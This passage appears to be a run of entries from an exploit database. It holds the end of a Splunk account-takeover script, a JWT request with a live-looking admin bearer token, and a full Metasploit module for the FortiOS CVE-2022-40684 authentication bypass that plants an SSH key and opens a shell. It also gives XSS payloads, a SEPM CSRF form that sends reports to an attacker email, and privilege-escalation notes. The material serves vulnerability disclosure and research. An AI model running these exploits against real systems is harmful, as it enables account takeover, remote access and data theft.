string.ascii_letters + string.digits) for _ in range(8))
change_password_payload = {
'password': new_password,
'force-change-pass': 0,
'locked-out': 0
}
response = requests.post(f"{user_endpoint}/{target_user}?output_mode=json",
data=change_password_payload, headers=headers, proxies=proxies, verify=False)
if response.status_code == 200:
print(
f"Successfully taken over user '{target_user}', log into Splunk with the password '{new_password}'")
else:
print('Account takeover failed')
else:
print(
f"User '{splunk_username}' does not have the 'edit_user' capability, which makes this target not exploitable by this user.")
else:
print(f"Splunk version '{splunk_version}' is not affected by CVE-2023-32707")
else:
print(
f"Couldn't authenticate to Splunk server '{splunk_host}' with user '{splunk_username}' and password '{splunk_password}'")
exit(1)
            
## Exploit Title: ever gauzy v0.281.9 - JWT weak HMAC secret
## Author: nu11secur1ty
## Date: 04.08.2023
## Vendor: https://gauzy.co/
## Software: https://github.com/ever-co/ever-gauzy/releases/tag/v0.281.9
## Reference: https://portswigger.net/kb/issues/00200903_jwt-weak-hmac-secret

## Description:
It was, detected a JWT signed using a well-known `HMAC secret key`.
The key used which was found was a secret Key.
The user can find a secret key authentication while sending normal
post requests.
After he found the `Authorization: Bearer` key he can use it to authenticate
and he can be sending a very malicious POST request, it depends on the
scenario.

STATUS:
[+]Issue:  	  JWT weak HMAC secret
[+]Severity:  High

[+]Exploit:
```GET
GET /api/auth/authenticated HTTP/2
Host: apidemo.gauzy.co
Sec-Ch-Ua: "Not:A-Brand";v="99", "Chromium";v="112"
Accept: application/json, text/plain, */*
Language: en
Sec-Ch-Ua-Mobile: ?0
Authorization: Bearer
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjJjMWViM2ViLTI3ZDEtNGE2Ni05YjEzLTg4ODVhNmFhYWJlMiIsInRlbmFudElkIjoiMTA0YjhiMDQtNmYzNi00YWMzLWFjNWItNTg4MWQyNjJmMWUxIiwiZW1wbG95ZWVJZCI6bnVsbCwicm9sZSI6IlNVUEVSX0FETUlOIiwicGVybWlzc2lvbnMiOlsiQURNSU5fREFTSEJPQVJEX1ZJRVciLCJURUFNX0RBU0hCT0FSRCIsIlBST0pFQ1RfTUFOQUdFTUVOVF9EQVNIQk9BUkQiLCJUSU1FX1RSQUNLSU5HX0RBU0hCT0FSRCIsIkFDQ09VTlRJTkdfREFTSEJPQVJEIiwiSFVNQU5fUkVTT1VSQ0VfREFTSEJPQVJEIiwiT1JHX1BBWU1FTlRfVklFVyIsIk9SR19QQVlNRU5UX0FERF9FRElUIiwiT1JHX0lOQ09NRVNfVklFVyIsIk9SR19JTkNPTUVTX0VESVQiLCJPUkdfRVhQRU5TRVNfVklFVyIsIk9SR19FWFBFTlNFU19FRElUIiwiUFJPRklMRV9FRElUIiwiRU1QTE9ZRUVfRVhQRU5TRVNfVklFVyIsIkVNUExPWUVFX0VYUEVOU0VTX0VESVQiLCJPUkdfUFJPUE9TQUxTX1ZJRVciLCJPUkdfUFJPUE9TQUxTX0VESVQiLCJPUkdfUFJPUE9TQUxfVEVNUExBVEVTX1ZJRVciLCJPUkdfUFJPUE9TQUxfVEVNUExBVEVTX0VESVQiLCJPUkdfVEFTS19BREQiLCJPUkdfVEFTS19WSUVXIiwiT1JHX1RBU0tfRURJVCIsIk9SR19UQVNLX0RFTEVURSIsIk9SR19USU1FX09GRl9WSUVXIiwiT1JHX0VNUExPWUVFU19WSUVXIiwiT1JHX0VNUExPWUVFU19FRElUIiwiT1JHX0NBTkRJREFURVNfVklFVyIsIk9SR19DQU5ESURBVEVTX0VESVQiLCJPUkdfQ0FORElEQVRFU19JTlRFUlZJRVdfRURJVCIsIk9SR19DQU5ESURBVEVTX0lOVEVSVklFV19WSUVXIiwiT1JHX0NBTkRJREFURVNfRE9DVU1FTlRTX1ZJRVciLCJPUkdfQ0FORElEQVRFU19UQVNLX0VESVQiLCJPUkdfQ0FORElEQVRFU19GRUVEQkFDS19FRElUIiwiT1JHX0lOVkVOVE9SWV9QUk9EVUNUX0VESVQiLCJPUkdfSU5WRU5UT1JZX1ZJRVciLCJPUkdfVEFHU19BREQiLCJPUkdfVEFHU19WSUVXIiwiT1JHX1RBR1NfRURJVCIsIk9SR19UQUdTX0RFTEVURSIsIk9SR19VU0VSU19WSUVXIiwiT1JHX1VTRVJTX0VESVQiLCJPUkdfSU5WSVRFX1ZJRVciLCJPUkdfSU5WSVRFX0VESVQiLCJBTExfT1JHX1ZJRVciLCJBTExfT1JHX0VESVQiLCJQT0xJQ1lfVklFVyIsIlBPTElDWV9FRElUIiwiVElNRV9PRkZfRURJVCIsIlJFUVVFU1RfQVBQUk9WQUxfVklFVyIsIlJFUVVFU1RfQVBQUk9WQUxfRURJVCIsIkFQUFJPVkFMU19QT0xJQ1lfVklFVyIsIkFQUFJPVkFMU19QT0xJQ1lfRURJVCIsIkNIQU5HRV9TRUxFQ1RFRF9FTVBMT1lFRSIsIkNIQU5HRV9TRUxFQ1RFRF9DQU5ESURBVEUiLCJDSEFOR0VfU0VMRUNURURfT1JHQU5JWkFUSU9OIiwiQ0hBTkdFX1JPTEVTX1BFUk1JU1NJT05TIiwiQUNDRVNTX1BSSVZBVEVfUFJPSkVDVFMiLCJUSU1FU0hFRVRfRURJVF9USU1FIiwiU1VQRVJfQURNSU5fRURJVCIsIlBVQkxJQ19QQUdFX0VESVQiLCJJTlZPSUNFU19WSUVXIiwiSU5WT0lDRVNfRURJVCIsIkVTVElNQVRFU19WSUVXIiwiRVNUSU1BVEVTX0VESVQiLCJPUkdfQ0FORElEQVRFU19JTlRFUlZJRVdFUlNfRURJVCIsIk9SR19DQU5ESURBVEVTX0lOVEVSVklFV0VSU19WSUVXIiwiVklFV19BTExfRU1BSUxTIiwiVklFV19BTExfRU1BSUxfVEVNUExBVEVTIiwiT1JHX0hFTFBfQ0VOVEVSX0VESVQiLCJWSUVXX1NBTEVTX1BJUEVMSU5FUyIsIkVESVRfU0FMRVNfUElQRUxJTkVTIiwiQ0FOX0FQUFJPVkVfVElNRVNIRUVUIiwiT1JHX1NQUklOVF9WSUVXIiwiT1JHX1NQUklOVF9FRElUIiwiT1JHX0NPTlRBQ1RfRURJVCIsIk9SR19DT05UQUNUX1ZJRVciLCJPUkdfUFJPSkVDVF9BREQiLCJPUkdfUFJPSkVDVF9WSUVXIiwiT1JHX1BST0pFQ1RfRURJVCIsIk9SR19QUk9KRUNUX0RFTEVURSIsIk9SR19URUFNX0FERCIsIk9SR19URUFNX1ZJRVciLCJPUkdfVEVBTV9FRElUIiwiT1JHX1RFQU1fREVMRVRFIiwiT1JHX1RFQU1fSk9JTl9SRVFVRVNUX1ZJRVciLCJPUkdfVEVBTV9KT0lOX1JFUVVFU1RfRURJVCIsIk9SR19DT05UUkFDVF9FRElUIiwiRVZFTlRfVFlQRVNfVklFVyIsIlRJTUVfVFJBQ0tFUiIsIlRFTkFOVF9BRERfRVhJU1RJTkdfVVNFUiIsIklOVEVHUkFUSU9OX1ZJRVciLCJGSUxFX1NUT1JBR0VfVklFVyIsIlBBWU1FTlRfR0FURVdBWV9WSUVXIiwiU01TX0dBVEVXQVlfVklFVyIsIkNVU1RPTV9TTVRQX1ZJRVciLCJJTVBPUlRfRVhQT1JUX1ZJRVciLCJNSUdSQVRFX0dBVVpZX0NMT1VEIiwiT1JHX0pPQl9FTVBMT1lFRV9WSUVXIiwiT1JHX0pPQl9NQVRDSElOR19WSUVXIiwiSU5WRU5UT1JZX0dBTExFUllfQUREIiwiSU5WRU5UT1JZX0dBTExFUllfVklFVyIsIklOVkVOVE9SWV9HQUxMRVJZX0VESVQiLCJJTlZFTlRPUllfR0FMTEVSWV9ERUxFVEUiLCJNRURJQV9HQUxMRVJZX0FERCIsIk1FRElBX0dBTExFUllfVklFVyIsIk1FRElBX0dBTExFUllfRURJVCIsIk1FRElBX0dBTExFUllfREVMRVRFIiwiT1JHX0VRVUlQTUVOVF9WSUVXIiwiT1JHX0VRVUlQTUVOVF9FRElUIiwiT1JHX0VRVUlQTUVOVF9TSEFSSU5HX1ZJRVciLCJPUkdfRVFVSVBNRU5UX1NIQVJJTkdfRURJVCIsIkVRVUlQTUVOVF9NQUtFX1JFUVVFU1QiLCJFUVVJUE1FTlRfQVBQUk9WRV9SRVFVRVNUIiwiT1JHX1BST0RVQ1RfVFlQRVNfVklFVyIsIk9SR19QUk9EVUNUX1RZUEVTX0VESVQiLCJPUkdfUFJPRFVDVF9DQVRFR09SSUVTX1ZJRVciLCJPUkdfUFJPRFVDVF9DQVRFR09SSUVTX0VESVQiLCJWSUVXX0FMTF9BQ0NPVU5USU5HX1RFTVBMQVRFUyIsIlRFTkFOVF9TRVRUSU5HIiwiQUxMT1dfREVMRVRFX1RJTUUiLCJBTExPV19NT0RJRllfVElNRSIsIkFMTE9XX01BTlVBTF9USU1FIiwiREVMRVRFX1NDUkVFTlNIT1RTIl0sImlhdCI6MTY4MDk4MDAzMn0.3zm2CQ0udVj5VCBYgPPD8BzkhQ_5TgVVi91sN7eMKlw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50
Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://demo.gauzy.co
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://demo.gauzy.co/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Length: 76

{
	"email":"local.admin@ever.co",
	"password": "adminrrrrrrrrrrrrrrrrrrrrrHACKED"
}

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/gauzy.co/2023/ever-gauzy-v0.281.9)

## Proof and Exploit:
[href](https://streamable.com/afsmee)

## Time spend:
03:37:00


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at
https://packetstormsecurity.com/https://cve.mitre.org/index.html and
https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>
            
# Exploit Title: Fortinet FortiOS, FortiProxy, and FortiSwitchManager 7.2.0 - Authentication bypass
# Date: 2022-10-10
# Exploit Author: Zach Hanley, SC
# Vendor Homepage: https://www.fortinet.com
# Version: 7.0.0
# Tested on: Linux
# CVE : CVE-2022-40684


##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::SSH
  prepend Msf::Exploit::Remote::AutoCheck

  attr_accessor :ssh_socket
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Fortinet FortiOS, FortiProxy, and FortiSwitchManager authentication bypass.',
        'Description' => %q{
          This module exploits an authentication bypass vulnerability
          in the Fortinet FortiOS, FortiProxy, and FortiSwitchManager API
          to gain access to a chosen account. And then add a SSH key to the
          authorized_keys file of the chosen account, allowing
          to login to the system with the chosen account.

          Successful exploitation results in remote code execution.
        },
        'Author' => [
          'Heyder Andrade <@HeyderAndrade>', # Metasploit module
          'Zach Hanley <@hacks_zach>', # PoC
        ],
        'References' => [
          ['CVE', '2022-40684'],
          ['URL', 'https://www.fortiguard.com/psirt/FG-IR-22-377'],
          ['URL', 'https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684'],
        ],
        'License' => MSF_LICENSE,
        'DisclosureDate' => '2022-10-10', # Vendor advisory
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD],
        'Privileged' => true,
        'Targets' => [
          [
            'FortiOS',
            {
              'DefaultOptions' => {
                'PAYLOAD' => 'generic/ssh/interact'
              },
              'Payload' => {
                'Compat' => {
                  'PayloadType' => 'ssh_interact'
                }
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            IOC_IN_LOGS,
            ARTIFACTS_ON_DISK # SSH key is added to authorized_keys file
          ]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to the Fortinet CMDB API', '/api/v2/cmdb/']),
        OptString.new('USERNAME', [false, 'Target username (Default: auto-detect)', nil]),
        OptString.new('PRIVATE_KEY', [false, 'SSH private key file path', nil]),
        OptString.new('KEY_PASS', [false, 'SSH private key password', nil]),
        OptString.new('SSH_RPORT', [true, 'SSH port to connect to', 22]),
        OptBool.new('PREFER_ADMIN', [false, 'Prefer to use the admin user if one is detected', true])
      ]
    )
  end


  def username
    if datastore['USERNAME']
      @username ||= datastore['USERNAME']
    else
      @username ||= detect_username
    end
  end

  def ssh_rport
    datastore['SSH_RPORT']
  end

  def current_keys
    @current_keys ||= read_keys
  end

  def ssh_keygen
    # ssh-keygen -t rsa -m PEM -f `openssl rand -hex 8`
    if datastore['PRIVATE_KEY']
      @ssh_keygen ||= Net::SSH::KeyFactory.load_data_private_key(
        File.read(datastore['PRIVATE_KEY']),
        datastore['KEY_PASS'],
        datastore['PRIVATE_KEY']
      )
    else
      @ssh_keygen ||= OpenSSL::PKey::EC.generate('prime256v1')
    end
  end

  def ssh_private_key
    ssh_keygen.to_pem
  end

  def ssh_pubkey
    Rex::Text.encode_base64(ssh_keygen.public_key.to_blob)
  end

  def authorized_keys
    pubkey = Rex::Text.encode_base64(ssh_keygen.public_key.to_blob)
    "#{ssh_keygen.ssh_type} #{pubkey} #{username}@localhost"
  end

  def fortinet_request(params = {})
    send_request_cgi(
      {
        'ctype' => 'application/json',
        'agent' => 'Report Runner',
        'headers' => {
          'Forwarded' => "for=\"[127.0.0.1]:#{rand(1024..65535)}\";by=\"[127.0.0.1]:#{rand(1024..65535)}\""
        }
      }.merge(params)
    )
  end

  def check
    vprint_status("Checking #{datastore['RHOST']}:#{datastore['RPORT']}")
    # a normal request to the API should return a 401
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, Rex::Text.rand_text_alpha_lower(6)),
      'ctype' => 'application/json'
    })

    return CheckCode::Unknown('Target did not respond to check.') unless res
    return CheckCode::Safe('Target seems not affected by this vulnerability.') unless res.code == 401

    # Trying to bypasss the authentication and get the sshkey from the current targeted user it should return a 200 if vulnerable
    res = fortinet_request({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/system/status')
    })

    return CheckCode::Safe unless res&.code == 200

    version = res.get_json_document['version']

    print_good("Target is running the version #{version}, which is vulnerable.")

    Socket.tcp(rhost, ssh_rport, connect_timeout: datastore['SSH_TIMEOUT']) { |sock| return CheckCode::Safe('However SSH is not open, so adding a ssh key wouldn\t give you access to the host.') unless sock }

    CheckCode::Vulnerable('And SSH is running which makes it exploitable.')
  end

  def cleanup
    return unless ssh_socket

    # it assumes our key is the last one and set it to a random text. The API didn't respond to DELETE method
    data = {
      "ssh-public-key#{current_keys.empty? ? '1' : current_keys.size}" => '""'
    }

    fortinet_request({
      'method' => 'PUT',
      'uri' => normalize_uri(target_uri.path, '/system/admin/', username),
      'data' => data.to_json
    })
  end

  def detect_username
    vprint_status('User auto-detection...')
    res = fortinet_request(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/system/admin')
    )
    users = res.get_json_document['results'].collect { |e| e['name'] if (e['accprofile'] == 'super_admin' && e['trusthost1'] == '0.0.0.0 0.0.0.0') }.compact
    # we prefer to use admin, but if it doesn't exist we chose a random one.
    if datastore['PREFER_ADMIN']
      vprint_status("PREFER_ADMIN is #{datastore['PREFER_ADMIN']}, but if it isn't found we will pick a random one.")
      users.include?('admin') ? 'admin' : users.sample
    else
      vprint_status("PREFER_ADMIN is #{datastore['PREFER_ADMIN']}, we will get a random that is not the admin.")
      (users - ['admin']).sample
    end
  end

  def add_ssh_key
    if current_keys.include?(authorized_keys)
      # then we'll remove that on cleanup
      print_good('Your key is already in the authorized_keys file')
      return
    end
    vprint_status('Adding SSH key to authorized_keys file')
    # Adding the SSH key as the last entry in the authorized_keys file
    keystoadd = current_keys.first(2) + [authorized_keys]
    data = keystoadd.map.with_index { |key, idx| ["ssh-public-key#{idx + 1}", "\"#{key}\""] }.to_h

    res = fortinet_request({
      'method' => 'PUT',
      'uri' => normalize_uri(target_uri.path, '/system/admin/', username),
      'data' => data.to_json
    })
    fail_with(Failure::UnexpectedReply, 'Failed to add SSH key to authorized_keys file.') unless res&.code == 500
    body = res.get_json_document
    fail_with(Failure::UnexpectedReply, 'Unexpected reponse from the server after adding the key.') unless body.key?('cli_error') && body['cli_error'] =~ /SSH key is good/
  end

  def read_keys
    vprint_status('Reading SSH key from authorized_keys file')
    res = fortinet_request({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/system/admin/', username)
    })
    fail_with(Failure::UnexpectedReply, 'Failed read current SSH keys') unless res&.code == 200
    result = res.get_json_document['results'].first
    ['ssh-public-key1', 'ssh-public-key2', 'ssh-public-key3'].map do |key|
      result[key].gsub('"', '') unless result[key].empty?
    end.compact
  end

  def do_login(ssh_options)
    # ensure we don't have a stale socket hanging around
    ssh_options[:proxy].proxies = nil if ssh_options[:proxy]
    begin
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        self.ssh_socket = Net::SSH.start(rhost, username, ssh_options)
      end
    rescue Rex::ConnectionError
      fail_with(Failure::Unreachable, 'Disconnected during negotiation')
    rescue Net::SSH::Disconnect, ::EOFError
      fail_with(Failure::Disconnected, 'Timed out during negotiation')
    rescue Net::SSH::AuthenticationFailed
      fail_with(Failure::NoAccess, 'Failed authentication')
    rescue Net::SSH::Exception => e
      fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
    end

    fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket
  end

  def exploit
    print_status("Executing exploit on #{datastore['RHOST']}:#{datastore['RPORT']} target user: #{username}")
    add_ssh_key
    vprint_status('Establishing SSH connection')
    ssh_options = ssh_client_defaults.merge({
      auth_methods: ['publickey'],
      key_data: [ ssh_private_key ],
      port: ssh_rport
    })
    ssh_options.merge!(verbose: :debug) if datastore['SSH_DEBUG']

    do_login(ssh_options)

    handler(ssh_socket)
  end
end
            
# Exploit Title: User Registration & Login and User Management System v3.0 - Stored Cross-Site Scripting (XSS)
# Google Dork: NA
# Date: 19/08/2023
# Exploit Author: Ashutosh Singh Umath
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/user-registration-login-and-user-management-system-with-admin-panel/
# Version: 3.0
# Tested on: Windows 11
# CVE : Requested


Description

User Registration & Login and User Management System With admin panel 3.0 application from PHPgurukul is vulnerable to
Persistent XSS via the fname, lname, email, and contact field name. When User logs in or the admin user logs in the payload gets executed.

POC

User side
1. Go to the user registration page http://localhost/loginsystem.
2. Enter <img src="x" onerror=alert(document.cookie)> in one of the
fields (first name, last name, email, or contact).
3. Click sign up.

Admin side
1. Login to admin panel http://localhost/loginsystem/admin.
2. After login successfully go to manage user page.
3. Payload


Thanks and Regards,

Ashutosh Singh Umath
            
------------------------------------------------------------------------------------
# Exploit Title: Riot Games League of Legends Insecure File Permissions Privilege Escalation
# Date: 03/06/16
# Exploit Author: Cyril Vallicari (i give credit also to Vincent Yiu he
probably found this too)
# Vendor Homepage: http://www.leagueoflegends.com
# Version : LeagueofLegends_EUW_Installer_2016_05_13.exe (last version) and LeagueofLegends_EUW_Installer_9_15_2014.exe (an old one)
# Tested on: Windows 7 Professional x64 fully updated. But it should work on all windows system

Description:

The League of Legends Folder is installed with insecure file
permissions. It was found that all folder and most file permissions were
incorrectly configured during installation. It was possible to replace most
binaries.
This can be used to get a horizontal and vertical privilege escalation.

POC :

C:\Users\Utilisateur>icacls "C:\Riot Games\League of Legends"
C:\Riot Games\League of Legends BUILTIN\Administrateurs:(I)(F)
                                BUILTIN\Administrateurs:(I)(OI)(CI)(IO)(F)
                                AUTORITE NT\Système:(I)(F)
                                AUTORITE NT\Système:(I)(OI)(CI)(IO)(F)
                                BUILTIN\Utilisateurs:(I)(OI)(CI)(RX)
                                AUTORITE NT\Utilisateurs authentifiés:(I)(M)
                                AUTORITE NT\Utilisateurs
authentifiés:(I)(OI)(CI)(IO)(M)


POC video : https://www.youtube.com/watch?v=_t1kvXBGV2E


Additional Notes :

"Based on our assessment, we feel that the severity and risk related to
this issue is low. We are going to mark this as a won't fix as we're
planning on will be taking this functionality offline soon with our new
league client."

"we determined that there are some design choices regarding the game client
install location and default permissions that prevent us from changing the
current behavior."

I've try to explain that file permissions aren't a functionality that you
take offline or design choices, without success. Sorry guys you will have
to patch this manually..

Related report :
 https://www.exploit-db.com/exploits/39903/

------------------------------------------------------------------------------------
            
[+] Credits: John Page aka HYP3RLINX

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/SYMANTEC-SEPM-MULTIPLE-VULNS.txt

[+] ISR: ApparitionSec


Vendor:
================
www.symantec.com


Product:
===========
SEPM
Symantec Endpoint Protection Manager and client v12.1

SEPM provides a centrally managed solution. It handles security policy
enforcement, host integrity checking (Symantec Network Access Control only),
and automated remediation over all clients. The policies functionality is
the heart of the Symantec software. Clients connect to the server to get the
latest policies, security settings, and software updates.


Vulnerability Type(s):
======================
Multiple Cross Site Scripting (XSS)
Cross Site Request Forgeries (CSRF)
Open Redirect


CVE Reference(s):
=================
CVE-2016-3652 / XSS
CVE-2016-3653 / CSRF
CVE-2016-5304 / Open Redirect


Vulnerability Details:
=====================

The management console for SEPM contains a number of security
vulnerabilities that could be used by a lower-privileged user or by
an unauthorized user to elevate privilege or gain access to unauthorized
information on the management server. Exploitation attempts of
these vulnerabilities requires access to the SEP Management console.


References:
============
https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20160628_01


Exploit code(s):
===============

In this case XSS can bypass the "http-only" cookie protection because the
SEPM application writes and stores the session ID within various
javascript functions used by the application within the DOM thereby
exposing them directly to the XSS attack.

1) createModalDialogFromURL
2) createWindowFromURL
3) createWindowFromForm
4) createIEWindowFromForm

So all we need to do is alert(createModalDialogFromURL) anyone one of them
(functions) an it will leak the session ID essentially throwing the
HttpOnly secure cookie protection flag into the garbage.

e.g.

XSS POC Defeat http-only flag and access PHPSESSID:

https://localhost:8445/Reporting/Admin/notificationpopup.php?New=1&Type=CR&height=alert%28createModalDialogFromURL%29#



Open Redirect in external URL .php script:
=========================================

A reporting URL used to route generated reports externally to any
authorized URL is susceptible to an open redirect vulnerability
that could have allowed an authorized but less-privileged user to redirect
an unsuspecting privileged user to an external URL to
attempt further exploitation, e.g. phishing.


If a victim clicks on a link supplied by an attacker

e.g.

https://localhost:8445/Reporting/common/externalurl.php?url=http://hyp3rlinx.altervista.org



Cross Site Request Forgery (CSRF):
==================================

Multiple Cross Site Request Forgery exists in couple of places within this
version of SEPM below is an example of sending scheduled report to
an remote attackers email, if current logged in user visits malicious
webpage or clicks infected link etc...


Symantec Reporting Admin CSRF POC:

<form id="PWN" action="https://localhost:8445/Reporting/Reports/sr-save.php"
method="POST" />
<input type="hidden" name="ReportName" value="HELL" />
<input type="hidden" name="Description" value="PWNED!" />
<input type="hidden" name="DisableReportSchedule" value="on" />
<input type="hidden" name="NewReport" value="Y" />
<input type="hidden" name="reporttype" value="1" />
<input type="hidden" name="FILTERNAME" value="Default" />
<input type="hidden" name="runEvery" value="1" />
<input type="hidden" name="repeat" value="weekly" />
<input type="hidden" name="datesched1" value="02%2F10%2F2016" />
<input type="hidden" name="datesched2" value="02%2F10%2F2016" />
<input type="hidden" name="filHourSchedule" value="16" />
<input type="hidden" name="Schedulehour" value="16" />
<input type="hidden" name="filMinSchedule" value="56" />
<input type="hidden" name="Scheduleminute" value="56" />
<input type="hidden" name="sysadmin" value="off" />
<input type="hidden" name="sendto" value="evil@abyss.com" />
<input type="hidden" name="updatelastrun" value="0" />
<input type="hidden" name="HISTORYCONFIG_IDX" value="" />
<input type="hidden" name="ReportPrefix" value="Y" />
<input type="hidden" name="report_idx" value="Y-0" />
<script>document.getElementById('PWN').submit()</script>
</form>


Disclosure Timeline:
============================================
Vendor Notification: Febuary 11, 2016
Vendor Acknowledges Report: Febuary 12, 2016
Vendor Releases Fix: June 28, 2016
June 29, 2016 : Public Disclosure


Exploitation Technique:
=======================
Remote


Severity Level(s):
====================
Cross Site Scripting
Medium
v2 6.8
AV:A/AC:M/Au:S/C:C/I:C/A:N
v3 6.7
AV:A/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Cross Site Request Forgery
High
v2 7.0
AV:A/AC:M/Au:M/C:C/I:C/A:C
v3 7.1
AV:A/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Open Redirect
Medium
v2 4.1
AV:A/AC:L/Au:S/C:P/I:P/A:N
v3 4.1
AV:A/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N


[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx
            
# Exploit Title: League of Legends Screensaver Insecure File Permissions
Privilege Escalation
# CVE-ID: NA
# Date: 13/04/2016
# Exploit Author: Vincent Yiu
# Contact: vysec.private@gmail.com
# Vendor Homepage: http://www.leagueoflegends.com
# Software Link: screensaver.euw.leagueoflegends.com/en_US
# Version: MD5 Hash: 0C1B02079CA8BF850D59DD870BC09963
# Tested on: Windows 7 Professional x64 fully updated.

1. Description:

The League of Legends screensaver was installed with insecure file
permissions. It was found that all folder and file permissions were
incorrectly configured during installation. It was possible to replace the
service binary.

This was reported to Riot Games and has been rectified in the latest
version.

2. Proof

http://i.imgur.com/5fVijDK.png

3. Exploit:

Replace service.exe in 'C:\Riot Games\LolScreenSaver\service' to run
service.exe as SYSTEM.


This is released on exploit-db as a means to make users aware. There was no way to automatically install a patch or update to fix this issue. It is recommended that the screensaver is uninstalled and redownloaded from the official website where this issue is now resolved.
            
Source: https://github.com/Cr4sh/ThinkPwn

 Lenovo ThinkPad System Management Mode arbitrary code execution exploit

***************************************************************************

For more information about this project please read the following article:

http://blog.cr4.sh/2016/06/exploring-and-exploiting-lenovo.html


This code exploits 0day privileges escalation vulnerability (or backdoor?) in SystemSmmRuntimeRt UEFI driver (GUID is 7C79AC8C-5E6C-4E3D-BA6F-C260EE7C172E) of Lenovo firmware. Vulnerability is present in all of the ThinkPad series laptops, the oldest one that I have checked is X220 and the neweset one is T450s (with latest firmware versions available at this moment). Running of arbitrary System Management Mode code allows attacker to disable flash write protection and infect platform firmware, disable Secure Boot, bypass Virtual Secure Mode (Credential Guard, etc.) on Windows 10 Enterprise and do others evil things.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40040.zip
            
# Title: Cisco EPC 3928 Multiple Vulnerabilities
# Vendor: http://www.cisco.com/
# Vulnerable Version(s): Cisco Model EPC3928 DOCSIS 3.0 8x4 Wireless Residential Gateway
# CVE References: CVE-2015-6401 / CVE-2015-6402 / CVE-2016-1328 / CVE-2016-1336 / CVE-2016-1337
# Author: Patryk Bogdan from Secorda security team (http://secorda.com/)

========

Summary:
In recent security research, Secorda security team has found multiple vulnerabilities affecting Cisco EPC3928 Wireless Residential Gateway. Variants of this product can also be affected.
Using combination of several vulnerabilities, attacker is able to remotely download and decode boot configuration file, which you can see on PoC video below. The attacker is also able to reconfigure device in order to perform attacks on the home-user, inject additional data to modem http response or extract sensitive informations from the device, such as the Wi-Fi key.

Until Cisco releases workarounds or patches, we recommend verify access to the web-based management panel and make sure that it is not reachable from the external network.

Vulnerabilities:
1) Unauthorized Command Execution
2) Gateway Stored XSS
3) Gateway Client List DoS
4) Gateway Reflective XSS
5) Gateway HTTP Corruption DoS
6) "Stored" HTTP Response Injection
7) Boot Information Disclosure

========

PoC:

- Unathorized Command Execution

#1 - Channel selection request:
POST /goform/ChannelsSelection HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/ChannelsSelection.asp
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

SAHappyUpstreamChannel=3

#1 - Response:
HTTP/1.0 200 OK
Server: PS HTTP Server
Content-type: text/html
Connection: close

